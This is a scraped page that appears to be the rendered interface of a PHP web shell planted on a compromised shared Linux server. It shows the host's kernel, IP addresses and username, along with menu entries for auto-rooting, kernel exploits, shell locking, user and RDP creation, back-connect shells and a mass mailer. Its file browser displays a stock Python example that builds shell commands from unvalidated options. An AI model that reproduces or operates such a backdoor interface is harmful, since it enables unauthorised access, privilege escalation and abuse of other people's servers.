Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
highlight /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
README
1.15
KB
-rw-r--r--
highlight.php.gz
1.77
KB
-rw-r--r--
highlight.pl
2.74
KB
-rw-r--r--
highlight_pipe.php.gz
1.38
KB
-rw-r--r--
highlight_pipe.pm
1.51
KB
-rw-r--r--
highlight_pipe.py
1.26
KB
-rw-r--r--
syntax.php.gz
2.7
KB
-rw-r--r--
testmod.py
3.06
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : highlight_pipe.py
from subprocess import * class HighlightPipe: """ This Python package serves as interface to the highlight utility. Input and output streams are handled with pipes. Command line parameter length is validated before use.""" def __init__(self): self.cmd = 'highlight' self.src='' self.options=dict() self.success=False def getResult(self): cmd = self.cmd for k, v in self.options.iteritems(): option=" --%s" % k if ( v != '1'): option += "=%s" % v if (len(option)<50): cmd += option p = Popen(cmd, shell=True, bufsize=512, stdin=PIPE, stdout=PIPE, stderr=PIPE, close_fds=True) (child_stdin, child_stdout, child_stderr) = (p.stdin, p.stdout, p.stderr) child_stdin.write(self.src) child_stdin.close() err_msg = child_stderr.readlines() if (len(err_msg)>0): return err_msg self.success=True return child_stdout.readlines() ############################################################################### def main(): gen = HighlightPipe(); gen.options['syntax'] = 'c' gen.options['style'] = 'edit-vim' gen.options['enclose-pre'] = '1' gen.options['fragment'] = '1' gen.options['inline-css'] = '1' gen.src = 'int main ()\n{ return 0; }' print gen.getResult() if not gen.success: print "Execution failed." if __name__=="__main__": main()
Close